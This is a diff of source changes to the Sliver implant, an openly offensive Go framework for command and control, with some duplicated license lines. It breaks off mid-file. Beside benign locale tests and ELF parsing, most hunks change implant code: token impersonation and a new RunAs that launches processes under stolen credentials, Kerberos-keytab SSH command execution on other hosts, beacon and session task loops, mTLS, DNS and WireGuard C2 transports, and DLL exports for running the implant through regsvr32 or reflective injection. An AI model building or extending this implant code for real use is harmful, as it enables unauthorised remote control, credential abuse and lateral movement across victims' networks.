Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
/*
|
||||
|
||||
@@ -1,5 +1,4 @@
|
||||
//go:build linux
|
||||
// +build linux
|
||||
|
||||
package hostuuid
|
||||
|
||||
@@ -23,15 +22,15 @@ package hostuuid
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
)
|
||||
|
||||
// GetUUID - Get a system specific UUID
|
||||
func GetUUID() string {
|
||||
uuid, err := ioutil.ReadFile("/etc/machine-id")
|
||||
uuid, err := os.ReadFile("/etc/machine-id")
|
||||
// UUID length is 32 plus newline
|
||||
if err != nil || len(uuid) != 33 {
|
||||
uuid, err = ioutil.ReadFile("/var/lib/dbus/machine-id")
|
||||
uuid, err = os.ReadFile("/var/lib/dbus/machine-id")
|
||||
if err != nil || len(uuid) != 33 {
|
||||
return UUIDFromMAC() // Failed, try to use MAC addresses
|
||||
}
|
||||
|
||||
@@ -1,13 +0,0 @@
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestJibberJabber(t *testing.T) {
|
||||
RegisterFailHandler(Fail)
|
||||
RunSpecs(t, "Jibber Jabber Suite")
|
||||
}
|
||||
@@ -1,155 +0,0 @@
|
||||
// +build darwin freebsd linux netbsd openbsd
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"os"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
var _ = Describe("Unix", func() {
|
||||
AfterEach(func() {
|
||||
os.Setenv("LC_MESSAGES", "")
|
||||
os.Setenv("LC_ALL", "")
|
||||
os.Setenv("LANG", "en_US.UTF-8")
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
Context("Returns IETF encoded locale", func() {
|
||||
It("should return the locale set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return the locale set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectIETF()
|
||||
Ω(result).Should(Equal("fr-FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a locale", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectIETF()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Context("when the locale is simply 'fr'", func() {
|
||||
BeforeEach(func() {
|
||||
os.Setenv("LANG", "fr")
|
||||
})
|
||||
|
||||
It("should return the locale without a territory", func() {
|
||||
language, err := DetectIETF()
|
||||
Ω(err).ShouldNot(HaveOccurred())
|
||||
Ω(language).Should(Equal("fr"))
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
Context("Returns encoded language", func() {
|
||||
It("should return the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguage()
|
||||
Ω(result).Should(Equal("fr"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a language", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguage()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
Context("Returns encoded language tag", func() {
|
||||
It("should return language tag corresponding to the language set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return language tag corresponding to the language set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
Ω(base.String()).Should(Equal("fr"))
|
||||
region, _ := result.Region()
|
||||
Ω(region.String()).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect and parse a language tag", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectLanguageTag()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
Context("Returns encoded territory", func() {
|
||||
It("should return the territory set to LC_MESSAGES", func() {
|
||||
os.Setenv("LC_MESSAGES", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LC_ALL if LC_MESSAGES isn't set", func() {
|
||||
os.Setenv("LC_ALL", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return the territory set to LANG if LC_ALL isn't set", func() {
|
||||
os.Setenv("LANG", "fr_FR.UTF-8")
|
||||
result, _ := DetectTerritory()
|
||||
Ω(result).Should(Equal("FR"))
|
||||
})
|
||||
|
||||
It("should return an error if it cannot detect a territory", func() {
|
||||
os.Setenv("LANG", "")
|
||||
_, err := DetectTerritory()
|
||||
Ω(errors.Is(err, ErrLangDetectFail)).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
|
||||
})
|
||||
@@ -1,63 +0,0 @@
|
||||
// +build windows
|
||||
|
||||
package jibberjabber_test
|
||||
|
||||
import (
|
||||
"regexp"
|
||||
|
||||
. "github.com/bishopfox/sliver/implant/sliver/locale/jibberjabber"
|
||||
|
||||
. "github.com/onsi/ginkgo"
|
||||
. "github.com/onsi/gomega"
|
||||
)
|
||||
|
||||
const (
|
||||
LOCALE_REGEXP = "^[a-z]{2}-[A-Z]{2}$"
|
||||
LANGUAGE_REGEXP = "^[a-z]{2}$"
|
||||
TERRITORY_REGEXP = "^[A-Z]{2}$"
|
||||
)
|
||||
|
||||
var _ = Describe("Windows", func() {
|
||||
BeforeEach(func() {
|
||||
locale, err := DetectIETF()
|
||||
Ω(err).Should(BeNil())
|
||||
Ω(locale).ShouldNot(BeNil())
|
||||
Ω(locale).ShouldNot(Equal(""))
|
||||
})
|
||||
|
||||
Describe("#DetectIETF", func() {
|
||||
It("detects correct IETF locale", func() {
|
||||
locale, _ := DetectIETF()
|
||||
matched, _ := regexp.MatchString(LOCALE_REGEXP, locale)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguage", func() {
|
||||
It("detects correct Language", func() {
|
||||
language, _ := DetectLanguage()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, language)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectLanguageTag", func() {
|
||||
It("detects correct Language Tag", func() {
|
||||
result, _ := DetectLanguageTag()
|
||||
base, _ := result.Base()
|
||||
matched, _ := regexp.MatchString(LANGUAGE_REGEXP, base.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
region, _ := result.Region()
|
||||
matched, _ = regexp.MatchString(TERRITORY_REGEXP, region.String())
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
|
||||
Describe("#DetectTerritory", func() {
|
||||
It("detects correct Territory", func() {
|
||||
territory, _ := DetectTerritory()
|
||||
matched, _ := regexp.MatchString(TERRITORY_REGEXP, territory)
|
||||
Ω(matched).Should(BeTrue())
|
||||
})
|
||||
})
|
||||
})
|
||||
@@ -96,7 +96,23 @@ func SePrivEnable(s string) error {
|
||||
}
|
||||
|
||||
func RevertToSelf() error {
|
||||
err := windows.RevertToSelf()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("RevertToSelf Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
err = windows.CloseHandle(windows.Handle(CurrentToken))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CloseHandle Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
CurrentToken = windows.Token(0)
|
||||
return err
|
||||
}
|
||||
|
||||
func TRevertToSelf() error {
|
||||
return windows.RevertToSelf()
|
||||
}
|
||||
|
||||
@@ -224,8 +240,12 @@ func impersonateUser(username string) (token windows.Token, err error) {
|
||||
|
||||
// MakeToken uses LogonUser to create a new logon session with the supplied username, domain and password.
|
||||
// It then impersonates the resulting token to allow access to remote network resources as the specified user.
|
||||
func MakeToken(domain string, username string, password string) error {
|
||||
func MakeToken(domain string, username string, password string, logonType uint32) error {
|
||||
var token windows.Token
|
||||
// Default to LOGON32_LOGON_NEW_CREDENTIALS
|
||||
if logonType == 0 {
|
||||
logonType = syscalls.LOGON32_LOGON_NEW_CREDENTIALS
|
||||
}
|
||||
|
||||
pd, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
@@ -239,7 +259,11 @@ func MakeToken(domain string, username string, password string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = syscalls.LogonUser(pu, pd, pp, syscalls.LOGON32_LOGON_NEW_CREDENTIALS, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
if logonType == 0 {
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_WINNT50, &token)
|
||||
} else {
|
||||
err = syscalls.LogonUser(pu, pd, pp, logonType, syscalls.LOGON32_PROVIDER_DEFAULT, &token)
|
||||
}
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("LogonUser failed: %v\n", err)
|
||||
@@ -275,6 +299,82 @@ func deleteRegistryKey(keyPath, keyName string) (err error) {
|
||||
return
|
||||
}
|
||||
|
||||
func RunAs(username string, domain string, password string, program string, args string, show int, netonly bool) (err error) {
|
||||
// call CreateProcessWithLogonW to create a new process with the specified credentials
|
||||
// https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-createprocesswithlogonw
|
||||
// convert username, domain, password, program, args, env, dir to *uint16
|
||||
u, err := windows.UTF16PtrFromString(username)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid username\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
d, err := windows.UTF16PtrFromString(domain)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid domain\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
p, err := windows.UTF16PtrFromString(password)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid password\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
prog, err := windows.UTF16PtrFromString(program)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid program\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
var cmd *uint16
|
||||
if len(args) > 0 {
|
||||
cmd, err = windows.UTF16PtrFromString(fmt.Sprintf("%s %s", program, args))
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Invalid prog args\n")
|
||||
// {{end}}
|
||||
return
|
||||
}
|
||||
}
|
||||
var e *uint16
|
||||
// env := os.Environ()
|
||||
// e, err = windows.UTF16PtrFromString(strings.Join(env, "\x00"))
|
||||
// if err != nil {
|
||||
// // {{if .Config.Debug}}
|
||||
// log.Printf("Invalid env\n")
|
||||
// // {{end}}
|
||||
// return
|
||||
// }
|
||||
var di *uint16
|
||||
|
||||
// create a new startup info struct
|
||||
si := &syscalls.StartupInfoEx{
|
||||
StartupInfo: windows.StartupInfo{
|
||||
Flags: windows.STARTF_USESHOWWINDOW,
|
||||
ShowWindow: uint16(show),
|
||||
},
|
||||
}
|
||||
// create a new process info struct
|
||||
pi := &windows.ProcessInformation{}
|
||||
// call CreateProcessWithLogonW
|
||||
var logonFlags uint32 = 0
|
||||
if netonly {
|
||||
logonFlags = 2 // LOGON_NETCREDENTIALS_ONLY
|
||||
}
|
||||
err = syscalls.CreateProcessWithLogonW(u, d, p, logonFlags, prog, cmd, 0, e, di, si, pi)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("CreateProcessWithLogonW failed: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
// RunProcessAsUser - Retrieve a primary token belonging to username
|
||||
// and starts a new process using that token.
|
||||
func RunProcessAsUser(username, command, args string) (out string, err error) {
|
||||
|
||||
@@ -3,15 +3,21 @@ package ssh
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
"log"
|
||||
// {{end}}
|
||||
|
||||
"net"
|
||||
"os"
|
||||
|
||||
"github.com/yiya1989/sshkrb5/krb5forssh"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"golang.org/x/crypto/ssh/agent"
|
||||
)
|
||||
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte) (*ssh.Client, error) {
|
||||
func getClient(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string) (*ssh.Client, error) {
|
||||
var authMethods []ssh.AuthMethod
|
||||
if password != "" {
|
||||
// Try password auth first
|
||||
@@ -23,6 +29,17 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.PublicKeys(signer))
|
||||
} else if krb5conf != "" && keytab != nil && realm != "" {
|
||||
// Then try kerberos auth
|
||||
krb5ConfData, err := ioutil.ReadFile(krb5conf)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
sshGSSAPIClient, err := krb5forssh.NewKrb5InitiatorClient(string(krb5ConfData), username, realm, keytab)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
authMethods = append(authMethods, ssh.GSSAPIWithMICAuthMethod(&sshGSSAPIClient, host))
|
||||
} else {
|
||||
// Use ssh-agent if neither password nor private key has been provided
|
||||
// ssh-agent(1) provides a UNIX socket at $SSH_AUTH_SOCK.
|
||||
@@ -35,6 +52,10 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
authMethods = append(authMethods, ssh.PublicKeysCallback(agentClient.Signers))
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Auth methods: %+v\n", authMethods)
|
||||
// {{end}}
|
||||
|
||||
config := &ssh.ClientConfig{
|
||||
User: username,
|
||||
Auth: authMethods,
|
||||
@@ -53,12 +74,12 @@ func getClient(host string, port uint16, username string, password string, privK
|
||||
}
|
||||
|
||||
// RunSSHCommand - SSH to a host and execute a command
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, command string) (string, string, error) {
|
||||
func RunSSHCommand(host string, port uint16, username string, password string, privKey []byte, krb5conf string, keytab []byte, realm string, command string) (string, string, error) {
|
||||
var (
|
||||
stdout bytes.Buffer
|
||||
stderr bytes.Buffer
|
||||
)
|
||||
sshc, err := getClient(host, port, username, password, privKey)
|
||||
sshc, err := getClient(host, port, username, password, privKey, krb5conf, keytab, realm)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
|
||||
+39
-18
@@ -42,17 +42,11 @@ import (
|
||||
"io/ioutil"
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows"}}
|
||||
"github.com/bishopfox/sliver/implant/sliver/priv"
|
||||
"github.com/bishopfox/sliver/implant/sliver/syscalls"
|
||||
|
||||
// {{end}}
|
||||
|
||||
consts "github.com/bishopfox/sliver/implant/sliver/constants"
|
||||
"github.com/bishopfox/sliver/implant/sliver/handlers"
|
||||
"github.com/bishopfox/sliver/implant/sliver/hostuuid"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/limits"
|
||||
"github.com/bishopfox/sliver/implant/sliver/locale"
|
||||
"github.com/bishopfox/sliver/implant/sliver/pivots"
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/implant/sliver/version"
|
||||
@@ -127,6 +121,7 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
|
||||
var isRunning bool = false
|
||||
|
||||
// StartW - Export for shared lib build
|
||||
//
|
||||
//export StartW
|
||||
func StartW() {
|
||||
if !isRunning {
|
||||
@@ -139,21 +134,25 @@ func StartW() {
|
||||
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
|
||||
|
||||
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
|
||||
//
|
||||
//export VoidFunc
|
||||
func VoidFunc() { main() }
|
||||
|
||||
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
|
||||
//
|
||||
//export DllInstall
|
||||
func DllInstall() { main() }
|
||||
|
||||
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
|
||||
//
|
||||
//export DllRegisterServer
|
||||
func DllRegisterServer() { main() }
|
||||
|
||||
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
|
||||
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
|
||||
//
|
||||
//export DllUnregisterServer
|
||||
func DllUnregisterServer() { main() }
|
||||
|
||||
@@ -409,6 +408,23 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
wg.Add(1)
|
||||
data := task.Data
|
||||
taskID := task.ID
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
defer wg.Done()
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[beacon] handler function returned an error: %s", err)
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
results = append(results, &sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{else}}
|
||||
go handler(data, func(data []byte, err error) {
|
||||
resultsMutex.Lock()
|
||||
defer resultsMutex.Unlock()
|
||||
@@ -424,6 +440,7 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time) error {
|
||||
Data: data,
|
||||
})
|
||||
})
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
resultsMutex.Lock()
|
||||
@@ -566,20 +583,23 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
// only applies the token to the calling thread, we need to call it before every task.
|
||||
// It's fucking gross to do that here, but I could not come with a better solution.
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
if priv.CurrentToken != 0 {
|
||||
err := syscalls.ImpersonateLoggedOnUser(priv.CurrentToken)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("Error: %v\n", err)
|
||||
// {{end}}
|
||||
}
|
||||
}
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] sysHandler %d", envelope.Type)
|
||||
// {{end}}
|
||||
|
||||
// {{if eq .Config.GOOS "windows" }}
|
||||
go handlers.WrapperHandler(handler, envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
log.Printf("[session] handler function returned an error: %s", err)
|
||||
}
|
||||
// {{end}}
|
||||
connection.Send <- &sliverpb.Envelope{
|
||||
ID: envelope.ID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{else}}
|
||||
go handler(envelope.Data, func(data []byte, err error) {
|
||||
// {{if .Config.Debug}}
|
||||
if err != nil {
|
||||
@@ -591,6 +611,7 @@ func sessionMainLoop(connection *transports.Connection) error {
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
// {{end}}
|
||||
} else if handler, ok := tunHandlers[envelope.Type]; ok {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[recv] tunHandler %d", envelope.Type)
|
||||
|
||||
@@ -9,6 +9,7 @@ package syscalls
|
||||
//sys HeapSize(hHeap windows.Handle, dwFlags uint32, lpMem uintptr) (res uint32, err error) = kernel32.HeapSize
|
||||
//sys UpdateProcThreadAttribute(lpAttributeList *PROC_THREAD_ATTRIBUTE_LIST, dwFlags uint32, attribute uintptr, lpValue *uintptr, cbSize uintptr, lpPreviousValue uintptr, lpReturnSize *uintptr) (err error) = kernel32.UpdateProcThreadAttribute
|
||||
//sys CreateProcess(appName *uint16, commandLine *uint16, procSecurity *windows.SecurityAttributes, threadSecurity *windows.SecurityAttributes, inheritHandles bool, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = kernel32.CreateProcessW
|
||||
//sys CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) = advapi32.CreateProcessWithLogonW
|
||||
//sys VirtualAllocEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flAllocationType uint32, flProtect uint32) (addr uintptr, err error) = kernel32.VirtualAllocEx
|
||||
//sys WriteProcessMemory(hProcess windows.Handle, lpBaseAddress uintptr, lpBuffer *byte, nSize uintptr, lpNumberOfBytesWritten *uintptr) (err error) = kernel32.WriteProcessMemory
|
||||
//sys VirtualProtectEx(hProcess windows.Handle, lpAddress uintptr, dwSize uintptr, flNewProtect uint32, lpflOldProtect *uint32) (err error) = kernel32.VirtualProtectEx
|
||||
|
||||
@@ -62,6 +62,7 @@ var (
|
||||
procGetDC = modUser32.NewProc("GetDC")
|
||||
procGetDesktopWindow = modUser32.NewProc("GetDesktopWindow")
|
||||
procReleaseDC = modUser32.NewProc("ReleaseDC")
|
||||
procCreateProcessWithLogonW = modadvapi32.NewProc("CreateProcessWithLogonW")
|
||||
procImpersonateLoggedOnUser = modadvapi32.NewProc("ImpersonateLoggedOnUser")
|
||||
procLogonUserW = modadvapi32.NewProc("LogonUserW")
|
||||
procLookupPrivilegeDisplayNameW = modadvapi32.NewProc("LookupPrivilegeDisplayNameW")
|
||||
@@ -222,6 +223,14 @@ func ReleaseDC(hWnd windows.Handle, hDC windows.Handle) (int uint32, err error)
|
||||
return
|
||||
}
|
||||
|
||||
func CreateProcessWithLogonW(username *uint16, domain *uint16, password *uint16, logonFlags uint32, appName *uint16, commandLine *uint16, creationFlags uint32, env *uint16, currentDir *uint16, startupInfo *StartupInfoEx, outProcInfo *windows.ProcessInformation) (err error) {
|
||||
r1, _, e1 := syscall.Syscall12(procCreateProcessWithLogonW.Addr(), 11, uintptr(unsafe.Pointer(username)), uintptr(unsafe.Pointer(domain)), uintptr(unsafe.Pointer(password)), uintptr(logonFlags), uintptr(unsafe.Pointer(appName)), uintptr(unsafe.Pointer(commandLine)), uintptr(creationFlags), uintptr(unsafe.Pointer(env)), uintptr(unsafe.Pointer(currentDir)), uintptr(unsafe.Pointer(startupInfo)), uintptr(unsafe.Pointer(outProcInfo)), 0)
|
||||
if r1 == 0 {
|
||||
err = errnoErr(e1)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
func ImpersonateLoggedOnUser(hToken windows.Token) (err error) {
|
||||
r1, _, e1 := syscall.Syscall(procImpersonateLoggedOnUser.Addr(), 1, uintptr(hToken), 0, 0)
|
||||
if r1 == 0 {
|
||||
|
||||
@@ -211,11 +211,13 @@ func mtlsBeacon(uri *url.URL) *Beacon {
|
||||
return mtls.WriteEnvelope(conn, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
if conn != nil {
|
||||
err = conn.Close()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
conn = nil
|
||||
}
|
||||
conn = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -341,7 +343,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
|
||||
ActiveC2: uri.String(),
|
||||
Init: func() error {
|
||||
opts := dnsclient.ParseDNSOptions(uri)
|
||||
client, err = dnsclient.DNSStartSession(uri.Host, opts)
|
||||
client, err = dnsclient.DNSStartSession(uri.Hostname(), opts)
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] dns connection error %s", err)
|
||||
|
||||
@@ -227,6 +227,11 @@ func WGConnect(address string, port uint16) (net.Conn, *device.Device, error) {
|
||||
// bringUpWGInterface - First creates an inet.af network stack.
|
||||
// then creates a Wireguard device/interface and applies configuration
|
||||
func bringUpWGInterface(address string, port uint16, implantPrivKey string, serverPubKey string, netstackTunIP string) (tun.Device, *device.Device, *netstack.Net, error) {
|
||||
if netstackTunIP == "" {
|
||||
err := errors.New("[wireguard] Cannot connect to empty IP address")
|
||||
return nil, nil, nil, err
|
||||
}
|
||||
|
||||
tun, tNet, err := netstack.CreateNetTUN(
|
||||
[]netip.Addr{netip.MustParseAddr(netstackTunIP)},
|
||||
[]netip.Addr{netip.MustParseAddr("127.0.0.1")}, // We don't use DNS in the WG implant. Yet.
|
||||
|
||||
-3000
File diff suppressed because it is too large.
Load diff
-32
@@ -1,32 +0,0 @@
|
||||
package elf
|
||||
|
||||
/*
|
||||
Any symbol in the dynamic symbol table (in .dynsym) for which .st_shndx == SHN_UNDEF
|
||||
(references undefined section) is an import, and every other symbol is defined and exported.
|
||||
*/
|
||||
|
||||
// Export - describes a single export entry
|
||||
type Export struct {
|
||||
Name string
|
||||
VirtualAddress uint64
|
||||
}
|
||||
|
||||
// Exports - gets exports
|
||||
func (f *File) Exports() ([]Export, error) {
|
||||
|
||||
var exports []Export
|
||||
symbols, err := f.DynamicSymbols()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for _, s := range symbols {
|
||||
if s.Section != SHN_UNDEF {
|
||||
exports = append(exports, Export{
|
||||
Name: s.Name,
|
||||
VirtualAddress: s.Value,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return exports, nil
|
||||
}
|
||||
-964
@@ -1,964 +0,0 @@
|
||||
// Copyright 2009 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
// Package elf implements access to ELF object files.
|
||||
package elf
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"compress/zlib"
|
||||
